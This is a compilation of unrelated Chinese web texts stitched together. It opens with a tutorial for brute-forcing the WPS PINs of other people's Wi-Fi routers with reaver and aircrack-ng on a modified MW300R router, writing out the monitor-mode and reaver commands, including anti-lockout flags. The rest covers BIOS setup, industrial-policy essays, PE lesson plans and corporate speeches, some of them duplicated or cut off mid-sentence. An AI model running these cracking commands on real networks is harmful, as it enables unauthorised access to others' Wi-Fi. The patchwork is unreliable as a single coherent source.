MW300R V6跑码

MW300R V6(mt7620)路由器挂卡跑PIN

用MW300R V6(mt7620)路由挂卡跑PIN码不知大家试过没有，无论运行速度、稳定各方面都要比HG255D好，而且非常省电！MW300R V6路由器挂卡前提当然是要硬改闪存、内存，并加上USB、刷好openwrt系统，这里我刷的是xRouter_RY-1_Build20141204这个版本的固件，里面已集合8187、3070等网卡驱动,也就是说可以挂卡了!

用网线或无线连接路由都可以，登录路由的管理界面，会看到有两个无线网卡，第一个是路由自带的，第二个就是8187网卡了。

二、安装reaver软件

安装软件要连接互联网进行，用到的工具putty软件！打开putty软件并按图设好再点" 打开"

下面用红色标是要输入的命令输入用户名: root密码 : admin输入密码时没任何显示，输完直接回车就可以！

opkg update (更新软件列表) ，已安装软件此步忽悠！

opkg install reaver aircrack-ng screen mdk3

输入命令后路由器会下载安装包并自行安装。

三、软件装好就可正式开工了输入screen 命令

ifconfig wlan0 up (加载wlan0 网卡)

ifconfig wlan0 down (关闭wlan0 网卡)

airmon-ng start wlan0 (激活mon0 端口，开启监听模式，可以看到wlan0显示8187网卡)

airodump-ng mon0 (扫描信号，54e. 就是开启wps的路由！)

按ctrl+c 键停止扫描信号

输入reaver -i mon0 -b XX:XX: XX:XX: XX: XX -a -S -vv -c 1(mon0 代表网卡端口名，XX:XX: XX:XX: XX: XX为MAC， -S是大写的-c 代表指定频道，根据实际填写, 这样reaver就不用在去扫描频道了)

对于300秒防PIN的路由器可以在原命令后加些参数

reaver -i mon0 -b XX:XX: XX:XX: XX: XX -a -S -vv -c 11 -x 20 -r 305:10 -l 1 -t 12 -v -d 0

路由器跑pin开始了！如果出现pin死或pin 不动的情况，可以先按ctrl+C 键保存进度，留待下次再pin ，路由器断电关机进度文件也不会丢失的，慎重还可到路由器的root文件夹将WPC文件下载到电脑保存!

按ctrl+a+d键, （先按信ctrl,再依次按a和d键）退出当前screen, 此时系统进入后台运行!

到此Putty软件可关闭,电脑也可关机了,让路由去PIN!

查看PIN进度再次打开Putty软件，输入用户名和密码，再输入screen -r 命令就可恢复PIN窗口！

晚上开始PIN，第二天早上密码就出来了！

管理路由器的WPC文件(PIN进度)用到WinSCP软件，按图设好点"登录"

然后到路由器的root文件夹就可找到保存的WPC文件了，此时可以对WPC文件修改、删除、替换等操作!

各种主板进入BIOS设置方法

各种主板进入BIOS设置方法随着u盘在生活中的逐步运用，聪明的人类发现了，通过 U盘启动制作可以替代传统的光驱，于是u大侠便运势而生！但如何设置U盘启动就成了新手们的难题了，因此U大侠小编为新手们说说u盘启动中最关键的一步——“设置U 盘启动”，本教程仅以特定型号的电脑为例进行演示，鉴于各种电脑不同BIOS设置U盘启动各有差异，所以如果下面的演示不能适用于你的电脑，建议到“百度“或”谷歌“搜索一下你的电脑或者与你的电脑类似的BIOS是如何设置的。u大侠 总的来讲，设置电脑从U盘启动有两种方法： 第一种是进入BIOS后设置U盘为第一启动项。 第二种是利用某些电脑现成的启动项按键来选择U盘启动。 从目前来看，主板BIOS主要有两大品牌，AWARD与AMI，部分朋友可能会看到AWARD-PHOENIX的BIOS，实际上这也是AWARD的程序，因为PHOENIX早已经被AWARD收购。在一些服务器或工作站电脑上，我们经常会看到AWARD-PHOENIX的BIOS程序。

区分一款主板到底采用的是AWARD的BIOS还是AMI的BI OS有很多种方法，当然最准确的就是看BIOS界面里的相关字段。不过对于初学者来说，有一种更简单的方法来区分：BIOS程序界面为蓝底白字的，一般都是AWARD的BIOS程序，而BIOS程序界面为灰底蓝字的，一般都是AMI的BIOS程序！ 以下为大家分情况讲述： 方法一：利用按键选择U盘启动：一般的品牌机，例如联想电脑，无论台式机还或笔记本电脑，选择启动项的热键都是F12，开机进入第一界面时按“F12”键会出现启动项选择界面，从中我们可以选择电脑从什么介质启动，一般可供选择的有光驱、硬盘、网络、可移动磁盘（U盘）。如果对英文不是很了解无法确定各个选项代表什么，可以通过一个单词来快速选择U盘启动，也就是在出现的启动项列表里找到一项带“USB”字样的就可以了。 除联想电脑以外，其余品牌机或者部分组装机也有按热键选择启动项的功能，简单列举几种：惠普笔记本：F9；戴尔：F12；部分组装机：F8，大体而言也就这么几种按键。一般的电脑在开机的时候（即开机第一界面）在电脑屏幕下方会显示哪个键可以用来设置启动选项，有些电脑则不显示，那就需要进BIOS将F12 的BOOT MENU 功能开启。还有一些电

当前我国产业结构调整与升级中存在的问题和对策建议

当前我国产业结构调整与升级需要反思的若干问题 1、我国三次产业结构调整升级的目标过分强调比例关系的变化 理论界研究工业发达国家在不同工业化阶段所对应的产业各种比例关系（如钱纳里模式、库兹涅茨模式等所规定的三次产业比例关系）。我国往往以此为基准来确定当前我国工业化阶段，确定三次产业之间是否存在偏差，并以“纠偏”作为结构调整的目标。当前我国一直强调要加快第三产业发展，就是以为当前工业化阶段第三产业所占比重偏低，从而要进行“纠偏”。 追求单纯的数量比例关系变化往往其效果难以取得。这么多年来我国一直大力发展第三产业，其纠偏效果并不明显，值得反思。实际上，单纯的数量上升并不能解决产业之间的相互制约关系。从产业发展角度看，（三次）产业之间内在的协同发展往往比单纯的数量比例关系更为重要。也就是说，解决某些制约相关产业的“瓶颈”更为重要。 2、我国工业发展的定位目标没有确定 一是重化工业在当前我国经济发展的定位没有确定。目前我国有两种观点，一是为了走新型工业化道路，我国要尽量利用国际贸易或走出去来获取重化工业产品，从而减少能耗和污染；二是我国无法绕过重化工业阶段，重化工业将为我国加快工业化进程提供支撑。尽管世界经济日趋一体化，但依靠国外市场来发展本国经济总是存在风险和难度。不能否认根据世界工业发达国家所走过的工业化道路所总结出来的工业化规律。当然，重化工业阶段随着技术不断创新，应该说，重化工业的内容和工业发达国家工业化阶段存在差异。 二是制造业的国际产业分工定位目标尚未确定。进入二十一世纪以来，理论界一致认为，我国已经成为“世界加工厂”，要向世界制造业中心转型，要由“中国制造”向“中国创造”转型。实际上，一方面，我国产业发展需要解决劳动力就业问题，大力发展劳动力密集型产业是基本出发点；但另一方面要解决产业高端化（也就是所谓的“中国创造”）问题，需要大力发展高技术产业和提高产业的技术含量是战略任务。这二者之间存在矛盾性。从而导致了我国产业政策的出台存在摇摆性或者矛盾性。 3、重视产业链升级融入国际产业链而忽视了本土产业链的建设

快速跑(5)

教学内容：快速跑（1） 教学目标认知：学生知道准确的途中跑姿势， 技能：80%的学生途中跑时不低头，不耸肩，眼平视，蹬地有力。情感：能认真听取教师指导实行快速跑练习，做好自评和互评。负荷：练习密度40%以上 教学程序教师活动学生活动执行情况负荷 常规（2’）1、指定集合地点，检查着 装，接受学生体委报告。 2、宣布本课内容和教学目 标。 3、带领学生热身活动 1、按指定地点集合整 队，体委整队，报告人 数，向教师汇报。 2、注意听讲，记住学习 目标，自我分组定位。 准备活动领做徒手操一套： 1、头部、肩部、扩胸、体 侧、体转，跳跃运动。 2、原地高抬腿运动。 跟随教师做徒手操和高 抬腿运动，要求充分活 动开身体各部分，以准 备下面的活动。 小 快速跑教法： 1、培养准确的跑姿练习 （1）原地摆臂练习，要求 自然协调。 学法： 1、学习准确的起跑 （1）以肩为轴，屈臂前 后摆动。 （2）沿直线跑。（2）眼视前方，脚要尽 量落在一条直线上。 2、快速起动与加速跑练习 （1）不同姿势听信号起跑 2加速跑练习 （1）看谁先到终点 快速跑（2）呼号追人（2）呼2号，2号跑， 3号追。出列沿外沿逆 时针方向跑与追。 中

（3）抢绳游戏（3）两人一组，看谁先 拿到绳子。 中 （4）快速跑移物接力游戏。（4）每组第一人起跑至 场中，将支撑物移至场 边搭好后返回；第二人 再将支撑物移回场中， 依次实行 大讲解素质练习的内容与方 法： 1、立卧撑 2、推小车 3、立位体前屈1、10*3次 2、15*2次 3、6-8次 结束1、集体讲评、放松活动 2、归还器材、下课 1、放松、评价 2、下课 器材：跳绳、体操棍 运动负荷预计 达 标 情 况 小 计平均心率135 练习密度40

中国经济结构调整和产业结构升级重点

经济结构调整和产业结构升级 加快经济结构调整和产业结构升级是我国经济社会领域的一场深刻变革,关系改革开放和社会主义现代化建设全局。当前,我国发展的外部环境更趋复杂,保持经济可持续发展、破解资源环境制约以及全面建设小康社会等目标要求,都对推进经济结构调整和产业结构升级提出了新的更高的要求,要求我们必须将加快经济结构战略性调整和优化产业结构作为未来5年加快转变经济发展方式的主攻方向。 经济结构不合理的问题仍然是经济发展方式存在诸多问题的主要症结,所以加快经济结构战略性调整和产业结构升级是加快经济发展方式转变的关键所在。而扩大消费需求,是调整需求结构的关键环节,是增强经济发展内生动力的根本途径。因此要不断增强消费拉动作用。不断提升消费需求对经济增长的拉动作用。 突出构建现代产业体系。着力推动产业结构优化升级,加快构建以高新技术产业为先导、以先进制造业为基础、以现代服务业为支撑的布局合理、竞争力强的现代产业体系。大力推进信息化和工业化融合增强新产品开发能力和品牌创建能力。推进农业产业化发展,大力发展现代农业。要推进战略性新兴产业规模化发展。要推进服务业现代化发展。 突出推进科技进步和创新。经济发展方式转变和经济结构调整能否取得成功,关键在于科技创新和成果应用。经济发展方式转变和结构调整为科技创新提出了新的需求、提供了新的动力,科技重大突破和创新会极大推动经济发展方式转变与经济结构的重大调整。我国要赶上和超过一些发达国家,就必须抢占未来经济科技发展的制高点。要提升自主创新能力。科技竞争的关键在人才,加快建设宏大的创新型人才队伍是关键。 突出优化社会管理。经济结构战略性调整,必然带来利益格局、社会结构的深刻调整,必须进一步优化社会管理模式,促进经济社会协调发展。要保障和改善民生。保障和改善民生是调整经济结构、转变发展方式的根本目的和重要动力。实施更加积极的就业政策,加快推进覆盖城乡居民的社会保障体系建设。要推进基本公

梅捷主板bios超频设置方法

梅捷主板bios超频设置方法 梅捷主板bios超频设置方法： 进入bios之后用左右方向键选择超频”overdrive“设置，就会看到有几项配置信息; cpu超频设置”cpu configuration“用上下方向键选择，按”enter“键进入设置; non turbo ratio override-------------------→cpu倍频调节/数值 enhanced intel speedstep technolog------→支持增强speedstep节能技术启用/禁用 慎用! 内存超频设置”memory configuration“用上下方向键选择，按”enter“键进入设置; memory multiplier configuration--------→增加内存设置，用于超频 performance memory profiles-----------→性能的内存配置 xmp profile1------------------------------→内存认证标准、cpu超频/支持/不支持 xmp profile1 切记不熟悉，不要乱改!

电压超频设置”voltage configuration“;用于设置内存电压; platform voltage control---------→平台电压控制 memory voltage------------------→内存电压设置/v 图形组态超频”graphics configuration“设置; inter graphics configuration---------------→因特尔图形组态，用于把内存分出来做显存 graphics core ratio limit------------------→图形核心比限 graphics voltage(1/256)-------------------→图形电压(范围) igfx core current max(1/8amp)---------→igfx芯片电流最大值 不熟悉，请慎用!

调整结构优化升级.

调整结构优化升级 ——河北省钢铁产业优化升级调研报告 河北省冶金行业协会 河北省粗钢、生铁、钢材产量连续多年保持全国第一，并于2007年首次实现了粗钢、生铁、钢材产量均超过1亿吨，成为全国第一个亿吨大省。2008年1~11月，粗钢、生铁、钢材产量进而分别达到10710.16万吨、10487.90万吨和10412.34万吨，再创历史新高。 近年来，河北省钢铁工业发展重点已经由单纯的规模扩张，转向以调整结构为主要内容的内涵发展，积极开发钢材新品种，努力提高产品质量档次；大力淘汰落后生产能力，提高装备水平；推广采用新技术，增强自主创新能力；加快整合重组步伐，提高产业集中度；调整生产布局；开展节能减排，走出了一条产业优化升级之路。 一、产业优化升级的现状 1. 调整产品结构，开发新产品。 2005年～2008年，河北省重点钢铁企业新产品产值呈上升趋势，2008年1～10月累计完成新产品产值220.73亿元，比2004年全年增加121.26亿元，增长121.91％；全省及重点钢铁企业的板带钢产量和板带比逐年提高，情况如表1所示。 表1 河北省钢铁工业新产品产值、板带钢材产量情况表

2008 年1～11月，河北省钢材品种结构如表2和图1所示。 表2 2008年1～11月河北省钢材产量表

图1 2008年1～11月河北省钢材品种结构图钢铁产品结构调整是钢铁工业结构调整、实现产业优化升级的重要组成部分，其基本方向是淘汰落后的叠轧薄板、热轧硅钢片和质量低劣的建筑材料，抑制窄带钢、螺纹钢及线材产品产能扩张，发展高端板带材和高效钢材以及急缺型制造用材，以热轧板、冷轧板、不锈钢板、涂镀层板、冷轧硅钢片、宽中厚板等为重点，积极发展机械、船舶、汽车、军工等行业急需的特殊钢材，积极创造条件争取在0.23毫米高牌号冷轧取向硅钢片、30万千瓦以上电站锅炉用钢和高等级轿车面板等领域取得突破。 2004年～2007年，河北省钢材品种结构中，板带比分别达到

快速跑：途中跑教案教学提纲

快速跑：途中跑教案

体育与健康教学 课题： 1、快速跑：途中跑 2、游戏：春种秋收 单位：巢湖二中 授课教师：胡任超

《快速跑》单元教学计划水平四八年级

途中跑教学设计 一、指导思想 本课以“健康第一”为指导思想，遵循教师为主导学生为主体的教学理念，在途中跑教学中，我采用循序渐进、层层深入的方法培养学生自主、合作、探究的学习能力，让学生体验成功感，促进学生身心发展。 二、教材分析 途中跑是人们在日常生活、学习、劳动和各种体育运动中表现出的最基本的活动能力，它是各项运动的基础。本单元，通过各种方式的跑与游戏，使学生掌握一些基本的、简易的技术和技能。培养学生跑的正确姿势和奔跑能力，本节课是快速跑的第二次课，主要是学习快速跑的途中跑技术。 三、学情分析 八年级学生身体形态和机能正处于发展期，他们思维活跃，精力旺盛，并具有一定的合作探究能力，通过低年级的学习，他们对跑的动作有了初步了解。因此在教学中要遵循循序渐进的原则，展开课堂教学，同时要加强安全意识。 四、教学目标 1、认知目标：理解途中跑的动作要求，了解蹬摆动作在快速跑中的意义。 2、技能目标：通过学习,进一步掌握跑的技术要领,发展学生速度、灵敏、力量等素质。 3、情感目标：培养学生克服困难、团结合作，敢于挑战自我的良好品质。

五、教学重点和难点 重点：上体保持正直或稍前倾，蹬摆结合。 难点：跑得快且动作放松。 六、教法与学法 （一）教法： 1、语言情景导入法：诱导与激发学生自觉主动的参与学习。 2、讲解示范法：使学生在头脑中建立正确的动作表象，明确要领，激发练习方法，学会练习。 3、练习法：学生练习，体会动作，加深学生对动作感知认识。 4、纠正错误法：在练习中对学生出现的问题及时地进行纠正。 5、表扬、鼓励法：增强学生的自信心和自豪感，让学生体验成功和快乐的乐趣。 6、游戏法与比赛法：提高学生的学习兴趣，活跃课堂气氛。 （二）学法 1、观察法：在整个教学过程中，引导学生用心观察。 2、体验法：通过教师启发和鼓励，学生练习，亲自体会，充分发挥学生的主体地位。 3、展示法和评价法：让学生直观地获取更多的练习方法，发现问题、解决问题，激发学生的学习和创新欲望，更加促进学生进行练习。 七、安全策略 1、教师课前准备好场地器材，检查学生服装和鞋子等，消除安全隐患。 2、课中要带学生充分地做好准备活动，预防运动损伤。

最新整理梅捷主板bios设置ahci

梅捷主板b i o s设置a h c i 什么是硬盘的A H C I模式：A H C I是串行A T A高级主控接口的英文缩写，开启A H C I之后可以发挥S A T A硬盘的潜在的性能，可增加硬盘的读写速度。 A H C I技术的全称是S e r i a l A T A A d v a n c e d H o s t C o n t r o l l e r I n t e r f a c e(即串行A T A主机控制接口技术)，它是由I n t e l、A M D、戴尔、M a r v e l l、迈拓、微软、R e d H a t、希捷和S t o r a g e G e a r等多家企业联合开发的一种高级主机控制器接口，它允许存储驱动程序启用高级串行 A T A功能，而我们这里提到的高级功能主要是指N C Q(全速命令队列)和热插拔技术。下面就由小编带你 去看看吧! 梅捷主板b i o s设置a h c i 从硬件基本层面而言，A H C I技术的打开需要硬盘和主板两方面的支持。硬盘部分，目前暂时还没有哪个型号产品可以声称完整支持A H C I，不过型号较新的产品已经基本支持N C Q功能，所以大家选购型号较新的硬盘产品即可。不过即使是在主板和硬盘都支持N C Q功能的情况下，也可能出现无法打开A H C I技术的情况，因为这 还需要主板芯片组支持。芯片组方面，I n t e l的I C H系

列南桥芯片组中I C H6R、I C H6M、I C H7R、I C H7D H、I C H7M、I C H8R以及P35系列采用I C H9系列芯片组都支持A H C I 技术。而之前的I C H5、I C H5R、I C H6、I C H7和I C H8则不能直接支持A H C I，需要通过主板上的板载芯片来实现。A M D芯片组方面，采用S B600南桥芯片的主板，如690G系列已经直接提供了对A H C I技术的支持。 其实并不像你想的这么复杂，再教你一个简单的判断方法吧。进入主板B I O S，查看I n t e g r a t e d P e r i p h e r a l s中的O n C h i p S e r i a l A T A D e v i c e这一项。如果主板芯片组支持A H C I的话，那么这里就应该有个 A H C I的选项，否则就只有I D E和R A I D两项。不过需要注意一下，某些主板的 B I O S比较特别，S A T A工作模式和A H C I功能是独立的两个选项，当S A T A模式设置为 R A I D时，A H C I自动处于E n a b l e状态;而当S A T A硬盘工作在模拟I D E模式时，A H C I选项就有支持或不支持两种。根据前面我们已经介绍过A H C I与N C Q之间的关系，这 里的B I O S设置就非常明确了，而要实现N C Q功能，B I O S 中的S A T A模式显然必须设为A H C I。 有一个简单的方法可以判断您的主板是否支持 A H C I：如果在主板的 B I O S里关于S A T A模式的设置选项

国企、集团公司2018年工作会议发言稿：结构调整推进企业转型升级

国企、集团公司2018年工作会议发言稿：结构调整推进企业转型升级 2017年，xx石化公司认真贯彻集团公司工作部署，深化改革创新，加快结构调整，积极推进炼化业务转型升级，实现利润再创历史新高。公司三次被中国石油和化学工业联合会评为“全国乙烯生产能效领跑者”第一名，两次被国资委评为“中国石油炼油乙烯业务最佳实践标杆企业”。 加强战略管理，引领转型升级。独石化公司认真分析地理区位特点和行业发展态势，制定并实施“资源、人才、创新、高端化”四大战略。公司依托地处xq三大油区腹地、毗邻中亚的区位优势，主动作为，加强沟通，努力将疆内和中亚原油、轻烃资源优势转化为经济优势。在炼油负荷只有71%的情况下，保证乙烯装置满负荷运行，乙烯产量再创历史新高。强化员工培训，完善选人用人机制，营造人才脱颖而出的环境，有效应对了人才流动和加快发展的新挑战。自主、协同推进管理创新、科技创新，积极构建现代管理模式，探索建立了融合安全、质量、内控等标准的一体化管理体系。大石化工程投产8年来，开发化工新产品x个。坚持把生产技术含量高、绿色环保、市场需要、效益好的高端产品作为企业发展之本，通过生产优化，高标号汽油比上年增产x%，化工产品高端化比例x%。

着力做强化工，推动转型升级。独石化公司把化工业务作为公司提质增效的主战场，突出抓好“低成本、差别化、树品牌”的化工业务战略。大力推进乙烯原料轻质化、优质化，外购油田轻烃、液化气资源量比上年增长x%。狠抓装置安稳长满优运行，乙烯新区8台裂解炉全投料运行达到x天。积极消化、吸收引进技术，与科研院所、专利商深度合作，初步实现橡塑产品规模化、差异化、高端化，形成了管材料、茂金属膜、环保胶三大优势产品系列。 深化改革创新，促进转型升级。独石化公司深入开展达标对标工作，30项重点监控指标中有16项排名集团公司前三位，6项指标位居集团公司第一，大乙烯燃动能耗指标保持全国第一。大力实施开源节流措施x项，实现降本增效x亿元。公司持续深化内部改革，实施业务重组，将12个炼化三修维护辅助单位整合为设备检修、供水供电、信息网络3个专业公司，专业化集约化管理水平不断提高。优化调整两级机关职能，管理层级由四级压减为三级，核减机构8个。加大工效挂钩考核力度，激励政策进一步向一线倾斜，骨干员工收入比上年增长x%以上。全面完成“三供一业”移交，有效减轻企业负担。 强化安全环保，保障转型升级。独石化公司高效运行HSE体系，坚持每月事故事件规律分析和风险预警，积极构建风险分级防控和隐患排查治理双重预警机制。公司领导带队开展HSE体系审核和安全大检查活动，组织开展轻烃卸车、罐区作业等检查34次，开展作业许可、

最新整理梅捷主板bios设置图解

梅捷主板b i o s设置图解 你们知道怎么设置B I O S吗?下面是学习啦小编带来梅捷主板b i o s设置图解的内容，欢迎阅读! 梅捷主板b i o s设置的图解： 不同类型的主板进入B I O S设置程序的方法会有所不同，具体进入方法请注意开机后的屏幕提示。 B I O S设置程序的基本功能如下。 S t a n d a r d C M O S F e a t u r e s(标准C M O S功能设置)：使用此选项可对基本的系统配置进行设定，如时间、日期、I D E设备和软驱参数等。 A d v a n c e d B I O S F e a t u r e s(高级B I O S特征设置)：使用此选项可对系统的高级特性进行设定。 A d v a n c e d C h i p s e t F e a t u r e s(高级芯片组特征设置)：通过此菜单可以对主板芯片组进行设置。 I n t e g r a t e d P e r i p h e r a l s(外部设备设定)：对所有外围设备的设定。如声卡、M o d e m和U S B键盘是否打开等。 P o w e r M a n a g e m e n t S e t u p(电源管理设定)：对C P U、硬盘和显示器等设备的节电功能运行方式进行设置。 P n P/P C I C o n f i g u r a t i o n s(即插即用/P C I参数设

定)：设定I S A的P n P即插即用界面及P C I界面的参数，此项功能仅在系统支持P n P/P C I时才有效。 P C H e a l t h S t a t u s(计算机健康状态)：主要是显示系统自动检测的电压、温度及风扇转速等相关参数，而且还能设定超负荷时发出警报和自动关机，以防止故障发生等。 F r e q u e n c y/V o l t a g e C o n t r o l(频率/电压控制)：设定C P U的倍频，设定是否自动侦测C P U频率等。 L o a d F a i l-S a f e D e f a u l t s(载入最安全的默认值)：使用此选项可载入工厂默认值作为稳定的系统使用。 L o a d O p t i m i z e d D e f a u l t s(载入高性能默认值)：使用此选项可载入最好的性能但有可能影响稳定的默认值。 S e t S u p e r v i s o r P a s s w o r d(设置超级用户密码)：使用此选项可以设置超级用户的密码。 S e t U s e r P a s s w o r d(设置用户密码)：使用此选项可以设置用户密码。 S a v e E x i t S e t u p(存盘退出)：选择此项保存对B I O S 的修改，然后退出S e t u p程序。 E x i t W i t h o u t S a v i n g(不保存退出)：选择此项将放

快速跑：途中跑教案

1、快速跑：途中跑 2、游戏：春种秋收 单位：巢湖二中 授课教师：胡任超 《快速跑》单元教学计划水平四八年级

途中跑教学设计 一、指导思想 本课以“健康第一”为指导思想，遵循教师为主导学生为主体的教学理念，在途中跑教学中，我采用循序渐进、层层深入的方法培养学生自主、合作、探究的学习能力，让学生体验成功感，促进学生身心发展。

二、教材分析 途中跑是人们在日常生活、学习、劳动和各种体育运动中表现出的最基本的活动能力，它是各项运动的基础。本单元，通过各种方式的跑与游戏，使学生掌握一些基本的、简易的技术和技能。培养学生跑的正确姿势和奔跑能力，本节课是快速跑的第二次课，主要是学习快速跑的途中跑技术。 三、学情分析 八年级学生身体形态和机能正处于发展期，他们思维活跃，精力旺盛，并具有一定的合作探究能力，通过低年级的学习，他们对跑的动作有了初步了解。因此在教学中要遵循循序渐进的原则，展开课堂教学，同时要加强安全意识。 四、教学目标 1、认知目标：理解途中跑的动作要求，了解蹬摆动作在快速跑中的意义。 2、技能目标：通过学习,进一步掌握跑的技术要领,发展学生速度、灵敏、力量等素质。 3、情感目标：培养学生克服困难、团结合作，敢于挑战自我的良好品质。 五、教学重点和难点 重点：上体保持正直或稍前倾，蹬摆结合。 难点：跑得快且动作放松。 六、教法与学法 （一）教法： 1、语言情景导入法：诱导与激发学生自觉主动的参与学习。 2、讲解示范法：使学生在头脑中建立正确的动作表象，明确要领，激发练习方法，学会练习。 3、练习法：学生练习，体会动作，加深学生对动作感知认识。 4、纠正错误法：在练习中对学生出现的问题及时地进行纠正。 5、表扬、鼓励法：增强学生的自信心和自豪感，让学生体验

推进产品结构调整 加快企业转型升级步伐

推进产品结构调整加快企业转型升级步伐 一、分析建筑业发展走势与契机。 1、建筑业整体行业规模仍稳步增长。十二五期间是全国建设小康社会的关键时期。随着我国工业化、信息化、城镇化、市场化、国际化的深入发展，基本建设仍将稳步增长。经济全球化深入发展，将为建筑业走出去带来更大机遇。十二五期间仍属建筑业重要战略机遇期。面对当前相对低迷的市场态势，政府出台了很多救市政策，包括安居工程、水利工程、铁路工程、城市轨道工程等政策拉动社会GDP增长。 2、大型建筑企业将加快重组改制步伐。建筑业产业结构将进一步调整优化。国家引导有条件的大型设计企业与建筑企业同步发展。鼓励有条件的大型企业从单一的业务领域向多元化的业务领域发展，向资本运作与生产经营的方向转变，实现强强联合。今后，设计—施工总承包（交钥匙工程）会成为国家发展的新模式。有实力的分支机构，可充分运用集团公司的资源条件，通过成立设计院、设计公司等形式，共同推动集团公司的施工设计一体化进程。 3、建筑节能成为建筑业发展的重要目标。十二五期间，绿色建筑、绿色施工评价体系将基本确立，建筑产品施工过程的单位增加值能耗将下降10%，要符合建筑节能的要求。 4、建筑市场和质量安全的监管力度进一步加大。国家将会进一步优化市场秩序，加快建筑业法律建设步伐，加大市场监管力度。不断完善工程招投标制度、完善企业市场准入标准。加强信用体系建设，健全企业注册人员、工程项目数据库。实现网络互联互通，建立综合监管信息系统。强化工程质量终身负责制的落实。这将对集团公司提出更加严

格的要求。各单位一定要以高度的责任心驾驭和控制好全局，树立牢固的大局意识，认真研究科学举措，及时将问题消灭在萌芽状态，降低法律诉讼案件发生率。坚决打击因个别单位出现不良事件而牵制全局的问题。 5、建筑行业相关产业将迎来新的发展机遇。近期，国家批复了多个区域经济规划。并就住宅建设、安居工程与各省均签订了目标责任状。为实现节能目标，钢结构行业的发展将大有空间。同时，国家鼓励采用节能、减排技术，逐步提高节能建筑材料使用比例。 二、明确打破制约建筑行业发展瓶颈的举措。 1、以品牌战略推进产品结构调整。公司从不起眼的国有企业演变发展为中国五百强企业，已经形成了自己的品牌。要注重打造品牌效益，用品牌战略推进产品结构的调整。在承接项目时要运用战略战术，有选择性地承接与自身实力水平相匹配的工程，杜绝盲目。对规模小、甲方诚信度低、投入产出比不相配的项目要逐渐放弃。有实力的单位要有重点地承接一些骨干项目，将视野逐步转向高、精、尖、大等利润高、竞争程度相对低的骨干项目。利用建设高层次的工程展示和打造中太品牌。尚未形成这种意识的单位要及早研究，调整思路。 2、以制度创新推进市场结构调整。新修订的《国内建筑市场区域管理办法》内容充实，为进一步健全市场架构体系奠定了制度基础，是推进市场结构调整的重要实施依据。目前，集团公司已在全国29个省、126个市注册了分支机构。2012年，要继续坚持扩张战略，实行本土化经营。有选择性地在发达地区至少成立分支机构30个。实现省会城市

推进产业结构调整和优化升级是转变经济增长方式

温总理在工作报告中指出，推进产业结构调整和优化升级是转变经济增长方式、提高经济增长质量的重要途径和迫切任务。要着力提升产业层次和技术水平，要推进部分产能过剩行业的调整，要推动企业并购、重组、联合，支持优势企业做强、做大，提高产业集中度。 众所周知，企业是社会财富的主要创造者，是社会经济发展的基本单元，产业结构调整和产品结构优化，推进企业的并购、重组和联合，一方面是政府宏观调控要做的工作，另一方面，也是企业自身要做的工作。今天我们将就企业改革、企业提高竞争力方面进行专题探讨，也将回答众多网友提出的问题。 企业家经济学家对话国企改革与竞争 今天我们演播室一共有三位嘉宾，我是李开发，中国管理科学研究院研究员，是研究企业管理、企业发展战略的学者，大家都认识，我兼主持人，现在我要重点介绍我们专门请来的两位嘉宾。 第一位嘉宾是著名企业家、全国劳动模范、中远散货运输有限公司总经理张良博士，张总领导了一个特大型的国有企业，企业资产规模上百亿元。近些年在产业结构调整和提高企业竞争力方面取得了突出成就，欢迎张总的到来，请张总和各位网友打个招呼。 张良：各位网友，大家好！非常高兴能和大家在这里见面，同时也期望借这个难得的机会和大家多沟通、多交流，同时也向大家学习。 李开发：下面我介绍第二位嘉宾，是国务院国有资产监督管理委员会研究中心主任王忠明博士，王主任长期从事国有企业的产业布局、发展战略、企业改革方面的研究，有很多关于企业改革、产业结构结构调整和企业管理方面的专著，也是著名的经济学家，欢迎王主任的到来，请王主任向网友和读者打个招呼。 王忠明：大家好，做客搜狐网是一件非常愉快的事情，因为现在信息时代，搜狐领导信息时代网络时代知识经济新潮流，所以我想能够在搜狐网跟大家交流是一件很荣幸的事情。 国务院国有资产监督管理委员会研究中心主任王忠明博士产业结构调整与优化是2006年度我国经济结构调整的主要着力点 李开发：下面现就温总理政府工作报告中相关的内容回答网友提出的问题。 一位网友提问，想请嘉宾说一说当前提出产业结构调整、优化产品结构、推进企业兼并、重组和联合，提高产业集中度有什么现实意义？主要想解决什么问题？ 张良：产业结构调整问题是个老问题，也是一个普遍问题，典型的体现如：高投入、低产出，高消耗、低贡献，粗放增长、粗放式经营等问题。产业结构的调整根本在于重新整合，这样才能进行产业结构的优化与产品结构的优化。

船舶工业深化结构调整加快转型升级行动计划(2016-2020年)

船舶工业深化结构调整加快转型升级行动计划（2016-2020年）船舶工业是为国民经济及国防建设提供技术装备的现代综合性和军民结合战略性产业，是国家实施海洋强国和制造强国战略的重要支撑。新世纪以来，我国船舶工业快速发展，已经成为世界最主要的造船大国。当前，国际主流船舶市场需求持续低迷，高技术船舶和海洋工程装备市场急剧萎缩，世界造船业全面陷入困境，我国船舶工业正面临金融危机以来最为严峻的挑战，同时也面临弯道超车的历史性机遇，行业结构调整转型升级的任务紧迫而艰巨。“十三五”时期是我国船舶工业是由大到强的战略机遇期，为贯彻落实党中央、国务院关于推进供给侧结构性改革、建设海洋强国和制造强国的决策部署，全面深化船舶工业结构调整，加快转型升级，促进产业持续健康发展，制定本行动计划。 一、总体要求 （一）发展思路

全面贯彻落实党的十八大和十八届三中、四中、五中、六中全会以及中央经济工作会议精神，认真落实国务院决策部署，按照“五位一体”总体布局和“四个全面”战略布局，牢固树立创新、协调、绿色、开放、共享的发展理念，紧紧围绕《中国制造2025》和建设海洋强国的战略目标，以创新发展和产业升级为核心，以制造技术与信息技术深度融合为重要抓手，大力推进供给侧结构性改革，稳增长、去产能、补短板、降成本、调结构、提质量、强品牌，全面提升产业国际竞争力和持续发展能力。 （二）基本原则 坚持创新驱动。把科技创新摆在行业发展全局的核心位置，面向世界船舶和海洋工程装备科技前沿，突破关键技术瓶颈，提高自主创新能力，以科技创新带动全面创新，使创新成为产业结构调整和转型升级的主动力。 坚持深化融合。大力发展军民两用技术，促进军民技术双向转移转化，加强军民资源共享，在船舶研发、设计、制造、服务等方面全面推进军民融合；顺应数字化网络化智能

组装机主板进bios热键

